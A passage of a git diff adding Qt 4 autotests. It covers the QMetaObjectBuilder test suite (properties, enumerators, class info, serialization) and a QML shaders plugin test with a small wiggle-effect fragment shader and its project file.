+ QVERIFY(prop2.isReadable());
+ QVERIFY(prop2.isWritable());
+ QVERIFY(!prop2.isResettable());
+ QVERIFY(!prop2.isDesignable());
+ QVERIFY(prop2.isScriptable());
+ QVERIFY(!prop2.isStored());
+ QVERIFY(!prop2.isEditable());
+ QVERIFY(!prop2.isUser());
+ QVERIFY(!prop2.hasStdCppSet());
+ QVERIFY(!prop2.isEnumOrFlag());
+ QVERIFY(!prop2.isConstant());
+ QVERIFY(!prop2.isFinal());
+ QCOMPARE(prop2.index(), 1);
+ QCOMPARE(builder.propertyCount(), 2);
+
+ // Perform index-based lookup.
+ QCOMPARE(builder.indexOfProperty("foo"), 0);
+ QCOMPARE(builder.indexOfProperty("bar"), 1);
+ QCOMPARE(builder.indexOfProperty("baz"), -1);
+ QCOMPARE(builder.property(1).name(), QByteArray("bar"));
+ QCOMPARE(builder.property(9).name(), QByteArray());
+
+ // Modify the attributes on prop1.
+ prop1.setReadable(false);
+ prop1.setWritable(false);
+ prop1.setResettable(true);
+ prop1.setDesignable(true);
+ prop1.setScriptable(false);
+ prop1.setStored(true);
+ prop1.setEditable(true);
+ prop1.setUser(true);
+ prop1.setStdCppSet(true);
+ prop1.setEnumOrFlag(true);
+ prop1.setConstant(true);
+ prop1.setFinal(true);
+
+ // Check that prop1 is changed, but prop2 is not.
+ QCOMPARE(prop1.name(), QByteArray("foo"));
+ QCOMPARE(prop1.type(), QByteArray("QString"));
+ QVERIFY(!prop1.isReadable());
+ QVERIFY(!prop1.isWritable());
+ QVERIFY(prop1.isResettable());
+ QVERIFY(prop1.isDesignable());
+ QVERIFY(!prop1.isScriptable());
+ QVERIFY(prop1.isStored());
+ QVERIFY(prop1.isEditable());
+ QVERIFY(prop1.isUser());
+ QVERIFY(prop1.hasStdCppSet());
+ QVERIFY(prop1.isEnumOrFlag());
+ QVERIFY(prop1.isConstant());
+ QVERIFY(prop1.isFinal());
+ QVERIFY(prop2.isReadable());
+ QVERIFY(prop2.isWritable());
+ QCOMPARE(prop2.name(), QByteArray("bar"));
+ QCOMPARE(prop2.type(), QByteArray("int"));
+ QVERIFY(!prop2.isResettable());
+ QVERIFY(!prop2.isDesignable());
+ QVERIFY(prop2.isScriptable());
+ QVERIFY(!prop2.isStored());
+ QVERIFY(!prop2.isEditable());
+ QVERIFY(!prop2.isUser());
+ QVERIFY(!prop2.hasStdCppSet());
+ QVERIFY(!prop2.isEnumOrFlag());
+ QVERIFY(!prop2.isConstant());
+ QVERIFY(!prop2.isFinal());
+
+ // Remove prop1 and check that prop2 becomes index 0.
+ builder.removeProperty(0);
+ QCOMPARE(builder.propertyCount(), 1);
+ prop2 = builder.property(0);
+ QCOMPARE(prop2.name(), QByteArray("bar"));
+ QCOMPARE(prop2.type(), QByteArray("int"));
+ QVERIFY(!prop2.isResettable());
+ QVERIFY(!prop2.isDesignable());
+ QVERIFY(prop2.isScriptable());
+ QVERIFY(!prop2.isStored());
+ QVERIFY(!prop2.isEditable());
+ QVERIFY(!prop2.isUser());
+ QVERIFY(!prop2.hasStdCppSet());
+ QVERIFY(!prop2.isEnumOrFlag());
+ QVERIFY(!prop2.isConstant());
+ QVERIFY(!prop2.isFinal());
+ QCOMPARE(prop2.index(), 0);
+
+ // Perform index-based lookup again.
+ QCOMPARE(builder.indexOfProperty("foo"), -1);
+ QCOMPARE(builder.indexOfProperty("bar"), 0);
+ QCOMPARE(builder.indexOfProperty("baz"), -1);
+
+ // Check for side-effects between the flags on prop2.
+ // Setting a flag to true shouldn't set any of the others to true.
+ // This checks for cut-and-paste bugs in the implementation where
+ // the flag code was pasted but the flag name was not changed.
+#define CLEAR_FLAGS() \
+ do { \
+ prop2.setReadable(false); \
+ prop2.setWritable(false); \
+ prop2.setResettable(false); \
+ prop2.setDesignable(false); \
+ prop2.setScriptable(false); \
+ prop2.setStored(false); \
+ prop2.setEditable(false); \
+ prop2.setUser(false); \
+ prop2.setStdCppSet(false); \
+ prop2.setEnumOrFlag(false); \
+ prop2.setConstant(false); \
+ prop2.setFinal(false); \
+ } while (0)
+#define COUNT_FLAGS() \
+ ((prop2.isReadable() ? 1 : 0) + \
+ (prop2.isWritable() ? 1 : 0) + \
+ (prop2.isResettable() ? 1 : 0) + \
+ (prop2.isDesignable() ? 1 : 0) + \
+ (prop2.isScriptable() ? 1 : 0) + \
+ (prop2.isStored() ? 1 : 0) + \
+ (prop2.isEditable() ? 1 : 0) + \
+ (prop2.isUser() ? 1 : 0) + \
+ (prop2.hasStdCppSet() ? 1 : 0) + \
+ (prop2.isEnumOrFlag() ? 1 : 0) + \
+ (prop2.isConstant() ? 1 : 0) + \
+ (prop2.isFinal() ? 1 : 0))
+#define CHECK_FLAG(setFunc,isFunc) \
+ do { \
+ CLEAR_FLAGS(); \
+ QCOMPARE(COUNT_FLAGS(), 0); \
+ prop2.setFunc(true); \
+ QVERIFY(prop2.isFunc()); \
+ QCOMPARE(COUNT_FLAGS(), 1); \
+ } while (0)
+ CHECK_FLAG(setReadable, isReadable);
+ CHECK_FLAG(setWritable, isWritable);
+ CHECK_FLAG(setResettable, isResettable);
+ CHECK_FLAG(setDesignable, isDesignable);
+ CHECK_FLAG(setScriptable, isScriptable);
+ CHECK_FLAG(setStored, isStored);
+ CHECK_FLAG(setEditable, isEditable);
+ CHECK_FLAG(setUser, isUser);
+ CHECK_FLAG(setStdCppSet, hasStdCppSet);
+ CHECK_FLAG(setEnumOrFlag, isEnumOrFlag);
+ CHECK_FLAG(setConstant, isConstant);
+ CHECK_FLAG(setFinal, isFinal);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Properties));
+
+ // Add property from prototype
+ QMetaProperty prototype = SomethingOfEverything::staticMetaObject.property(1);
+ QVERIFY(prototype.name() == QByteArray("prop"));
+ QMetaPropertyBuilder prototypeProp = builder.addProperty(prototype);
+ QCOMPARE(prototypeProp.name(), QByteArray("prop"));
+ QVERIFY(prototypeProp.hasNotifySignal());
+ QCOMPARE(prototypeProp.notifySignal().signature(), QByteArray("propChanged(QString)"));
+ QCOMPARE(builder.methodCount(), 1);
+ QCOMPARE(builder.method(0).signature(), QByteArray("propChanged(QString)"));
+}
+
+void tst_QMetaObjectBuilder::notifySignal()
+{
+ QMetaObjectBuilder builder;
+
+ QMetaPropertyBuilder prop = builder.addProperty("foo", "const QString &");
+ builder.addSlot("setFoo(QString)");
+ QMetaMethodBuilder notify = builder.addSignal("fooChanged(QString)");
+
+ QVERIFY(!prop.hasNotifySignal());
+ QCOMPARE(prop.notifySignal().index(), 0);
+
+ prop.setNotifySignal(notify);
+ QVERIFY(prop.hasNotifySignal());
+ QCOMPARE(prop.notifySignal().index(), 1);
+
+ prop.setNotifySignal(QMetaMethodBuilder());
+ QVERIFY(!prop.hasNotifySignal());
+ QCOMPARE(prop.notifySignal().index(), 0);
+
+ prop.setNotifySignal(notify);
+ prop.removeNotifySignal();
+ QVERIFY(!prop.hasNotifySignal());
+ QCOMPARE(prop.notifySignal().index(), 0);
+
+ QCOMPARE(builder.methodCount(), 2);
+ QCOMPARE(builder.propertyCount(), 1);
+
+ // Check that nothing else changed except methods and properties.
+ QVERIFY(checkForSideEffects
+ (builder, QMetaObjectBuilder::Methods | QMetaObjectBuilder::Properties));
+}
+
+void tst_QMetaObjectBuilder::enumerator()
+{
+ QMetaObjectBuilder builder;
+
+ // Add an enumerator and check its attributes.
+ QMetaEnumBuilder enum1 = builder.addEnumerator("foo");
+ QCOMPARE(enum1.name(), QByteArray("foo"));
+ QVERIFY(!enum1.isFlag());
+ QCOMPARE(enum1.keyCount(), 0);
+ QCOMPARE(enum1.index(), 0);
+ QCOMPARE(builder.enumeratorCount(), 1);
+
+ // Add another enumerator and check again.
+ QMetaEnumBuilder enum2 = builder.addEnumerator("bar");
+ QCOMPARE(enum2.name(), QByteArray("bar"));
+ QVERIFY(!enum2.isFlag());
+ QCOMPARE(enum2.keyCount(), 0);
+ QCOMPARE(enum2.index(), 1);
+ QCOMPARE(builder.enumeratorCount(), 2);
+
+ // Perform index-based lookup.
+ QCOMPARE(builder.indexOfEnumerator("foo"), 0);
+ QCOMPARE(builder.indexOfEnumerator("bar"), 1);
+ QCOMPARE(builder.indexOfEnumerator("baz"), -1);
+ QCOMPARE(builder.enumerator(1).name(), QByteArray("bar"));
+ QCOMPARE(builder.enumerator(9).name(), QByteArray());
+
+ // Modify the attributes on enum1.
+ enum1.setIsFlag(true);
+ QCOMPARE(enum1.addKey("ABC", 0), 0);
+ QCOMPARE(enum1.addKey("DEF", 1), 1);
+ QCOMPARE(enum1.addKey("GHI", -1), 2);
+
+ // Check that enum1 is changed, but enum2 is not.
+ QCOMPARE(enum1.name(), QByteArray("foo"));
+ QVERIFY(enum1.isFlag());
+ QCOMPARE(enum1.keyCount(), 3);
+ QCOMPARE(enum1.index(), 0);
+ QCOMPARE(enum1.key(0), QByteArray("ABC"));
+ QCOMPARE(enum1.key(1), QByteArray("DEF"));
+ QCOMPARE(enum1.key(2), QByteArray("GHI"));
+ QCOMPARE(enum1.key(3), QByteArray());
+ QCOMPARE(enum1.value(0), 0);
+ QCOMPARE(enum1.value(1), 1);
+ QCOMPARE(enum1.value(2), -1);
+ QCOMPARE(enum2.name(), QByteArray("bar"));
+ QVERIFY(!enum2.isFlag());
+ QCOMPARE(enum2.keyCount(), 0);
+ QCOMPARE(enum2.index(), 1);
+
+ // Modify the attributes on enum2.
+ enum2.setIsFlag(true);
+ QCOMPARE(enum2.addKey("XYZ", 10), 0);
+ QCOMPARE(enum2.addKey("UVW", 19), 1);
+
+ // This time check that only method2 changed.
+ QCOMPARE(enum1.name(), QByteArray("foo"));
+ QVERIFY(enum1.isFlag());
+ QCOMPARE(enum1.keyCount(), 3);
+ QCOMPARE(enum1.index(), 0);
+ QCOMPARE(enum1.key(0), QByteArray("ABC"));
+ QCOMPARE(enum1.key(1), QByteArray("DEF"));
+ QCOMPARE(enum1.key(2), QByteArray("GHI"));
+ QCOMPARE(enum1.key(3), QByteArray());
+ QCOMPARE(enum1.value(0), 0);
+ QCOMPARE(enum1.value(1), 1);
+ QCOMPARE(enum1.value(2), -1);
+ QCOMPARE(enum2.name(), QByteArray("bar"));
+ QVERIFY(enum2.isFlag());
+ QCOMPARE(enum2.keyCount(), 2);
+ QCOMPARE(enum2.index(), 1);
+ QCOMPARE(enum2.key(0), QByteArray("XYZ"));
+ QCOMPARE(enum2.key(1), QByteArray("UVW"));
+ QCOMPARE(enum2.key(2), QByteArray());
+ QCOMPARE(enum2.value(0), 10);
+ QCOMPARE(enum2.value(1), 19);
+
+ // Remove enum1 key
+ enum1.removeKey(2);
+ QCOMPARE(enum1.name(), QByteArray("foo"));
+ QVERIFY(enum1.isFlag());
+ QCOMPARE(enum1.keyCount(), 2);
+ QCOMPARE(enum1.index(), 0);
+ QCOMPARE(enum1.key(0), QByteArray("ABC"));
+ QCOMPARE(enum1.key(1), QByteArray("DEF"));
+ QCOMPARE(enum1.key(2), QByteArray());
+ QCOMPARE(enum1.value(0), 0);
+ QCOMPARE(enum1.value(1), 1);
+ QCOMPARE(enum1.value(2), -1);
+ QCOMPARE(enum2.name(), QByteArray("bar"));
+ QVERIFY(enum2.isFlag());
+ QCOMPARE(enum2.keyCount(), 2);
+ QCOMPARE(enum2.index(), 1);
+ QCOMPARE(enum2.key(0), QByteArray("XYZ"));
+ QCOMPARE(enum2.key(1), QByteArray("UVW"));
+ QCOMPARE(enum2.key(2), QByteArray());
+ QCOMPARE(enum2.value(0), 10);
+ QCOMPARE(enum2.value(1), 19);
+
+ // Remove enum1 and check that enum2 becomes index 0.
+ builder.removeEnumerator(0);
+ QCOMPARE(builder.enumeratorCount(), 1);
+ enum2 = builder.enumerator(0);
+ QCOMPARE(enum2.name(), QByteArray("bar"));
+ QVERIFY(enum2.isFlag());
+ QCOMPARE(enum2.keyCount(), 2);
+ QCOMPARE(enum2.index(), 0);
+ QCOMPARE(enum2.key(0), QByteArray("XYZ"));
+ QCOMPARE(enum2.key(1), QByteArray("UVW"));
+ QCOMPARE(enum2.key(2), QByteArray());
+ QCOMPARE(enum2.value(0), 10);
+ QCOMPARE(enum2.value(1), 19);
+
+ // Perform index-based lookup again.
+ QCOMPARE(builder.indexOfEnumerator("foo"), -1);
+ QCOMPARE(builder.indexOfEnumerator("bar"), 0);
+ QCOMPARE(builder.indexOfEnumerator("baz"), -1);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::Enumerators));
+}
+
+void tst_QMetaObjectBuilder::classInfo()
+{
+ QMetaObjectBuilder builder;
+
+ // Add two items of class information and check their attributes.
+ QCOMPARE(builder.addClassInfo("foo", "value1"), 0);
+ QCOMPARE(builder.addClassInfo("bar", "value2"), 1);
+ QCOMPARE(builder.classInfoName(0), QByteArray("foo"));
+ QCOMPARE(builder.classInfoValue(0), QByteArray("value1"));
+ QCOMPARE(builder.classInfoName(1), QByteArray("bar"));
+ QCOMPARE(builder.classInfoValue(1), QByteArray("value2"));
+ QCOMPARE(builder.classInfoName(9), QByteArray());
+ QCOMPARE(builder.classInfoValue(9), QByteArray());
+ QCOMPARE(builder.classInfoCount(), 2);
+
+ // Perform index-based lookup.
+ QCOMPARE(builder.indexOfClassInfo("foo"), 0);
+ QCOMPARE(builder.indexOfClassInfo("bar"), 1);
+ QCOMPARE(builder.indexOfClassInfo("baz"), -1);
+
+ // Remove the first one and check again.
+ builder.removeClassInfo(0);
+ QCOMPARE(builder.classInfoName(0), QByteArray("bar"));
+ QCOMPARE(builder.classInfoValue(0), QByteArray("value2"));
+ QCOMPARE(builder.classInfoCount(), 1);
+
+ // Perform index-based lookup again.
+ QCOMPARE(builder.indexOfClassInfo("foo"), -1);
+ QCOMPARE(builder.indexOfClassInfo("bar"), 0);
+ QCOMPARE(builder.indexOfClassInfo("baz"), -1);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::ClassInfos));
+}
+
+void tst_QMetaObjectBuilder::relatedMetaObject()
+{
+ QMetaObjectBuilder builder;
+
+ // Add two related meta objects and check their attributes.
+ QCOMPARE(builder.addRelatedMetaObject(&QObject::staticMetaObject), 0);
+ QCOMPARE(builder.addRelatedMetaObject(&staticMetaObject), 1);
+ QVERIFY(builder.relatedMetaObject(0) == &QObject::staticMetaObject);
+ QVERIFY(builder.relatedMetaObject(1) == &staticMetaObject);
+ QCOMPARE(builder.relatedMetaObjectCount(), 2);
+
+ // Remove the first one and check again.
+ builder.removeRelatedMetaObject(0);
+ QVERIFY(builder.relatedMetaObject(0) == &staticMetaObject);
+ QCOMPARE(builder.relatedMetaObjectCount(), 1);
+
+ // Check that nothing else changed.
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::RelatedMetaObjects));
+}
+
+static void smetacall(QObject *, QMetaObject::Call, int, void **)
+{
+ return;
+}
+
+void tst_QMetaObjectBuilder::staticMetacall()
+{
+ QMetaObjectBuilder builder;
+ QVERIFY(!builder.staticMetacallFunction());
+ builder.setStaticMetacallFunction(smetacall);
+ QVERIFY(builder.staticMetacallFunction() == smetacall);
+ QVERIFY(checkForSideEffects(builder, QMetaObjectBuilder::StaticMetacall));
+}
+
+// Copy the entire contents of a static QMetaObject and then check
+// that QMetaObjectBuilder will produce an exact copy as output.
+void tst_QMetaObjectBuilder::copyMetaObject()
+{
+ QMetaObjectBuilder builder(&QObject::staticMetaObject);
+ QMetaObject *meta = builder.toMetaObject();
+ QVERIFY(sameMetaObject(meta, &QObject::staticMetaObject));
+ qFree(meta);
+
+ QMetaObjectBuilder builder2(&staticMetaObject);
+ meta = builder2.toMetaObject();
+ QVERIFY(sameMetaObject(meta, &staticMetaObject));
+ qFree(meta);
+
+ QMetaObjectBuilder builder3(&SomethingOfEverything::staticMetaObject);
+ meta = builder3.toMetaObject();
+ QVERIFY(sameMetaObject(meta, &SomethingOfEverything::staticMetaObject));
+ qFree(meta);
+}
+
+// Serialize and deserialize a meta object and check that
+// it round-trips to the exact same value.
+void tst_QMetaObjectBuilder::serialize()
+{
+ // Full QMetaObjectBuilder
+ {
+ QMetaObjectBuilder builder(&SomethingOfEverything::staticMetaObject);
+ QMetaObject *meta = builder.toMetaObject();
+
+ QByteArray data;
+ QDataStream stream(&data, QIODevice::WriteOnly | QIODevice::Append);
+ builder.serialize(stream);
+
+ QMetaObjectBuilder builder2;
+ QDataStream stream2(data);
+ QMap<QByteArray, const QMetaObject *> references;
+ references.insert(QByteArray("QLocale"), &QLocale::staticMetaObject);
+ builder2.deserialize(stream2, references);
+ builder2.setStaticMetacallFunction(builder.staticMetacallFunction());
+ QMetaObject *meta2 = builder2.toMetaObject();
+
+ QVERIFY(sameMetaObject(meta, meta2));
+ qFree(meta);
+ qFree(meta2);
+ }
+
+ // Partial QMetaObjectBuilder
+ {
+ QMetaObjectBuilder builder;
+ builder.setClassName("Test");
+ builder.addProperty("foo", "int");
+
+ QByteArray data;
+ QDataStream stream(&data, QIODevice::WriteOnly | QIODevice::Append);
+ builder.serialize(stream);
+
+ QMetaObjectBuilder builder2;
+ QDataStream stream2(data);
+ builder2.deserialize(stream2, QMap<QByteArray, const QMetaObject *>());
+
+ QCOMPARE(builder.superClass(), builder2.superClass());
+ QCOMPARE(builder.className(), builder2.className());
+ QCOMPARE(builder.propertyCount(), builder2.propertyCount());
+ QCOMPARE(builder.property(0).name(), builder2.property(0).name());
+ QCOMPARE(builder.property(0).type(), builder2.property(0).type());
+ }
+}
+
+// Check that removing a method updates notify signals appropriately
+void tst_QMetaObjectBuilder::removeNotifySignal()
+{
+ QMetaObjectBuilder builder;
+
+ QMetaMethodBuilder method1 = builder.addSignal("foo(const QString&, int)");
+ QMetaMethodBuilder method2 = builder.addSignal("bar(QString)");
+
+ // Setup property
+ QMetaPropertyBuilder prop = builder.addProperty("prop", "const QString &");
+ prop.setNotifySignal(method2);
+ QVERIFY(prop.hasNotifySignal());
+ QCOMPARE(prop.notifySignal().index(), 1);
+
+ // Remove non-notify signal
+ builder.removeMethod(0);
+ QVERIFY(prop.hasNotifySignal());
+ QCOMPARE(prop.notifySignal().index(), 0);
+
+ // Remove notify signal
+ builder.removeMethod(0);
+ QVERIFY(!prop.hasNotifySignal());
+}
+
+// Check that the only changes to a "builder" relative to the default
+// state is specified by "members".
+bool tst_QMetaObjectBuilder::checkForSideEffects
+ (const QMetaObjectBuilder& builder,
+ QMetaObjectBuilder::AddMembers members)
+{
+ if ((members & QMetaObjectBuilder::ClassName) == 0) {
+ if (!builder.className().isEmpty())
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::SuperClass) == 0) {
+ if (builder.superClass() != &QObject::staticMetaObject)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::Methods) == 0) {
+ if (builder.methodCount() != 0)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::Constructors) == 0) {
+ if (builder.constructorCount() != 0)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::Properties) == 0) {
+ if (builder.propertyCount() != 0)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::Enumerators) == 0) {
+ if (builder.enumeratorCount() != 0)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::ClassInfos) == 0) {
+ if (builder.classInfoCount() != 0)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::RelatedMetaObjects) == 0) {
+ if (builder.relatedMetaObjectCount() != 0)
+ return false;
+ }
+
+ if ((members & QMetaObjectBuilder::StaticMetacall) == 0) {
+ if (builder.staticMetacallFunction() != 0)
+ return false;
+ }
+
+ return true;
+}
+
+static bool sameMethod(const QMetaMethod& method1, const QMetaMethod& method2)
+{
+ if (QByteArray(method1.signature()) != QByteArray(method2.signature()))
+ return false;
+
+ if (QByteArray(method1.typeName()) != QByteArray(method2.typeName()))
+ return false;
+
+ if (method1.parameterNames() != method2.parameterNames())
+ return false;
+
+ if (QByteArray(method1.tag()) != QByteArray(method2.tag()))
+ return false;
+
+ if (method1.access() != method2.access())
+ return false;
+
+ if (method1.methodType() != method2.methodType())
+ return false;
+
+ if (method1.attributes() != method2.attributes())
+ return false;
+
+ return true;
+}
+
+static bool sameProperty(const QMetaProperty& prop1, const QMetaProperty& prop2)
+{
+ if (QByteArray(prop1.name()) != QByteArray(prop2.name()))
+ return false;
+
+ if (QByteArray(prop1.typeName()) != QByteArray(prop2.typeName()))
+ return false;
+
+ if (prop1.isReadable() != prop2.isReadable() ||
+ prop1.isWritable() != prop2.isWritable() ||
+ prop1.isResettable() != prop2.isResettable() ||
+ prop1.isDesignable() != prop2.isDesignable() ||
+ prop1.isScriptable() != prop2.isScriptable() ||
+ prop1.isStored() != prop2.isStored() ||
+ prop1.isEditable() != prop2.isEditable() ||
+ prop1.isUser() != prop2.isUser() ||
+ prop1.isFlagType() != prop2.isFlagType() ||
+ prop1.isEnumType() != prop2.isEnumType() ||
+ prop1.hasNotifySignal() != prop2.hasNotifySignal() ||
+ prop1.hasStdCppSet() != prop2.hasStdCppSet())
+ return false;
+
+ if (prop1.hasNotifySignal()) {
+ if (prop1.notifySignalIndex() != prop2.notifySignalIndex())
+ return false;
+ }
+
+ return true;
+}
+
+static bool sameEnumerator(const QMetaEnum& enum1, const QMetaEnum& enum2)
+{
+ if (QByteArray(enum1.name()) != QByteArray(enum2.name()))
+ return false;
+
+ if (enum1.isFlag() != enum2.isFlag())
+ return false;
+
+ if (enum1.keyCount() != enum2.keyCount())
+ return false;
+
+ for (int index = 0; index < enum1.keyCount(); ++index) {
+ if (QByteArray(enum1.key(index)) != QByteArray(enum2.key(index)))
+ return false;
+ if (enum1.value(index) != enum2.value(index))
+ return false;
+ }
+
+ if (QByteArray(enum1.scope()) != QByteArray(enum2.scope()))
+ return false;
+
+ return true;
+}
+
+// Determine if two meta objects are identical.
+bool tst_QMetaObjectBuilder::sameMetaObject
+ (const QMetaObject *meta1, const QMetaObject *meta2)
+{
+ int index;
+
+ if (strcmp(meta1->className(), meta2->className()) != 0)
+ return false;
+
+ if (meta1->superClass() != meta2->superClass())
+ return false;
+
+ if (meta1->constructorCount() != meta2->constructorCount() ||
+ meta1->methodCount() != meta2->methodCount() ||
+ meta1->enumeratorCount() != meta2->enumeratorCount() ||
+ meta1->propertyCount() != meta2->propertyCount() ||
+ meta1->classInfoCount() != meta2->classInfoCount())
+ return false;
+
+ for (index = 0; index < meta1->constructorCount(); ++index) {
+ if (!sameMethod(meta1->constructor(index), meta2->constructor(index)))
+ return false;
+ }
+
+ for (index = 0; index < meta1->methodCount(); ++index) {
+ if (!sameMethod(meta1->method(index), meta2->method(index)))
+ return false;
+ }
+
+ for (index = 0; index < meta1->propertyCount(); ++index) {
+ if (!sameProperty(meta1->property(index), meta2->property(index)))
+ return false;
+ }
+
+ for (index = 0; index < meta1->enumeratorCount(); ++index) {
+ if (!sameEnumerator(meta1->enumerator(index), meta2->enumerator(index)))
+ return false;
+ }
+
+ for (index = 0; index < meta1->classInfoCount(); ++index) {
+ if (QByteArray(meta1->classInfo(index).name()) !=
+ QByteArray(meta2->classInfo(index).name()))
+ return false;
+ if (QByteArray(meta1->classInfo(index).value()) !=
+ QByteArray(meta2->classInfo(index).value()))
+ return false;
+ }
+
+ const QMetaObject **objects1 = 0;
+ const QMetaObject **objects2 = 0;
+ if (meta1->d.data[0] == meta2->d.data[0] && meta1->d.data[0] >= 2) {
+ QMetaObjectExtraData *extra1 = (QMetaObjectExtraData *)(meta1->d.extradata);
+ QMetaObjectExtraData *extra2 = (QMetaObjectExtraData *)(meta2->d.extradata);
+ if (extra1 && !extra2)
+ return false;
+ if (extra2 && !extra1)
+ return false;
+ if (extra1 && extra2) {
+ if (extra1->static_metacall != extra2->static_metacall)
+ return false;
+ objects1 = extra1->objects;
+ objects2 = extra1->objects;
+ }
+ } else if (meta1->d.data[0] == meta2->d.data[0] && meta1->d.data[0] == 1) {
+ objects1 = (const QMetaObject **)(meta1->d.extradata);
+ objects2 = (const QMetaObject **)(meta2->d.extradata);
+ }
+ if (objects1 && !objects2)
+ return false;
+ if (objects2 && !objects1)
+ return false;
+ if (objects1 && objects2) {
+ while (*objects1 != 0 && *objects2 != 0) {
+ if (*objects1 != *objects2)
+ return false;
+ ++objects1;
+ ++objects2;
+ }
+ }
+
+ return true;
+}
+
+QTEST_MAIN(tst_QMetaObjectBuilder)
+
+#include "tst_qmetaobjectbuilder.moc"
diff --git a/tests/auto/declarative/qmlshadersplugin/main.qml b/tests/auto/declarative/qmlshadersplugin/main.qml
new file mode 100644
index 00000000..e63fde08
--- /dev/null
+++ b/tests/auto/declarative/qmlshadersplugin/main.qml
@@ -0,0 +1,80 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import Qt.labs.shaders 1.0
+
+ Rectangle {
+ width: 300
+ height: 300
+
+ Text {
+ id: textLabel
+ text: "Hello World"
+ anchors.centerIn: parent
+ font.pixelSize: 48
+ }
+
+ ShaderEffectItem {
+ objectName: "effectItem"
+ property variant source: ShaderEffectSource { objectName: "effectSource"; sourceItem: textLabel; hideSource: true }
+ property real wiggleAmount: 0.01
+ anchors.fill: textLabel
+
+ SequentialAnimation on wiggleAmount {
+ loops: Animation.Infinite
+ NumberAnimation { to: -0.01; duration: 500 }
+ NumberAnimation { to: 0.01; duration: 500 }
+ }
+
+ fragmentShader: "
+ varying highp vec2 qt_TexCoord0;
+ uniform sampler2D source;
+ uniform highp float wiggleAmount;
+ void main(void)
+ {
+ highp vec2 wiggledTexCoord = qt_TexCoord0;
+ wiggledTexCoord.s += sin(4.0 * 3.141592653589 * wiggledTexCoord.t) * wiggleAmount;
+ gl_FragColor = texture2D(source, wiggledTexCoord.st);
+ }
+ "
+ }
+ }
diff --git a/tests/auto/declarative/qmlshadersplugin/qmlshadersplugin.pro b/tests/auto/declarative/qmlshadersplugin/qmlshadersplugin.pro
new file mode 100644
index 00000000..aa0e07a0
--- /dev/null
+++ b/tests/auto/declarative/qmlshadersplugin/qmlshadersplugin.pro
@@ -0,0 +1,18 @@
+load(qttest_p4)
+
+QT += opengl declarative
+SOURCES += tst_qmlshadersplugin.cpp
+
+SOURCES += \
+ ../../../../src/imports/shaders/shadereffectitem.cpp \
+ ../../../../src/imports/shaders/shadereffectsource.cpp \
+ ../../../../src/imports/shaders/shadereffect.cpp \
+ ../../../../src/imports/shaders/shadereffectbuffer.cpp \
+ ../../../../src/imports/shaders/scenegraph/qsggeometry.cpp
+
+HEADERS += \
+ ../../../../src/imports/shaders/shadereffectitem.h \
+ ../../../../src/imports/shaders/shadereffectsource.h \
+ ../../../../src/imports/shaders/shadereffect.h \
+ ../../../../src/imports/shaders/shadereffectbuffer.h \
+ ../../../../src/imports/shaders/scenegraph/qsggeometry.h
diff --git a/tests/auto/declarative/qmlshadersplugin/tst_qmlshadersplugin.cpp b/tests/auto/declarative/qmlshadersplugin/tst_qmlshadersplugin.cpp
new file mode 100644
index 00000000..ba7f7957
--- /dev/null
+++ b/tests/auto/declarative/qmlshadersplugin/tst_qmlshadersplugin.cpp
@@ -0,0 +1,205 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QML Shaders plugin of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include <QtDeclarative>
